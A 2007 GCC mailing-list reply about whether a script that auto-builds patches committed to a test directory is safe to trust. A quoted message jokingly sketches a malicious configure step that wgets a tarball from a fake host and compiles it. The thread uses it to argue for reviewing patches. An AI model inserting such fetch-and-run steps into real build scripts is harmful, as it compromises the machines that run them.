RE: [CFARM] Script for automatic checking of patches

["Dave Korn" <dave dot korn at artimi dot com>]

On 03 July 2007 08:35, Sebastian Pop wrote:

> On 7/3/07, Dave Korn wrote:
>> 
>>   Patches should probably only be added to this directory after manual
>> inspection.... 
>> 
> [...]
>> configure: `wget http://6.6.6/badstuff.tar.gz && tar -x... && gcc ... &&
>> pwn3d!` 
>> 
>>   ;-)
>> 
> 
> Okay, so why do you still trust commits to gcc trunk?  Do you check
> all the patches that go in during a 'svn up' before doing a bootstrap
> of the new tree?

  To the extent that they've been visually inspected as part of the review
process, and are accountable to known identities with an established history
when committed, yes.

> I can make some assumptions on the users of the gcc compile farm.  My
> intent is to simplify the build and test of all svn-write maintainers
> by simply allowing them to say "svn add mypatch && svn ci" in a test
> directory.  In this case, I can trust the patches to be tested, as I
> trust gcc contributions.

  I thought by 'add it to contrib' you were implying it would be part of all
future gcc release distributions, in which case it would need to be
accompanied by a warning along the lines of "This should only be fed with
patches from known authorised and trusted sources, don't ever so much as think
about hooking it up to a raw feed from the gcc-patches list or you'll regret
it".

  If it's not going to be in future release tarballs, sorry for the noise.


    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....